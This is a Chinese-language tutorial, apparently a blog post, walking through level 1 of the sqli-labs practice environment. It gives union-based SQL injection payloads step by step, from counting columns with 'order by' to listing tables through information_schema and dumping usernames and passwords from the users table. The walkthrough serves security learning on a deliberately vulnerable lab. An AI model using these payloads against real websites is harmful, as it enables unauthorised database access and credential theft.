sqli-labs通关讲解(仍在更新)

第一关:(接收参数,查询数据库,上传到web前端)

首先我们进来看到的第一个页面是这样子的,黄色英文提示你输入数字值的ID作为参数

这里我们分别输入?id=1和?id=2(用英文输入)进行测试可以看到以下界面:

我们会发现数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询,那我们现在需要做的就是判断sql语句是否是拼接,且是字符型还是数字型。

那我们可以根据结果发现是字符型且存在sql注入漏洞页面存在回显。这时候用到的方法就是联合查询!(保持前后俩张表字段数一致,否则会报错)

小知识:如何判断字符型和数字型注入

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

联合查询

 第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

?id=1'order by 4 --+

由上可知 ,此表有3列

第二步:爆出显示位,就是了解表格中哪一列是在页面显示的

?id=-1'union select 1,2,3--+

可以看到查询结果是在2和3的位置回显的,则可以将2和3替换为我们的查询语句。

第三步:获取当前数据名和版本号,涉及mysql数据库的一些函数

?id=-1'union select 1,database(),version()--+

通过结果知道当前表所处的数据库是security,版本是8.0.32

第四步:爆表

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

根据上图 我可以看到当前security库下有四张表,并且users表最有可能存放用户信息,接下来我们就是得到该表下的字段名以及内容。

第五步:爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

上述语句是查询information_schema数据库下的columns表里users的列名

注意:table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

上述操作可以看到两个敏感字段就是后面的username和password,最有可能存放用户的账号密码

最后一步:得到账号和密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

这样我们就得到各个用户的账号密码了,本次手工注入到此结束。

  • 15
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值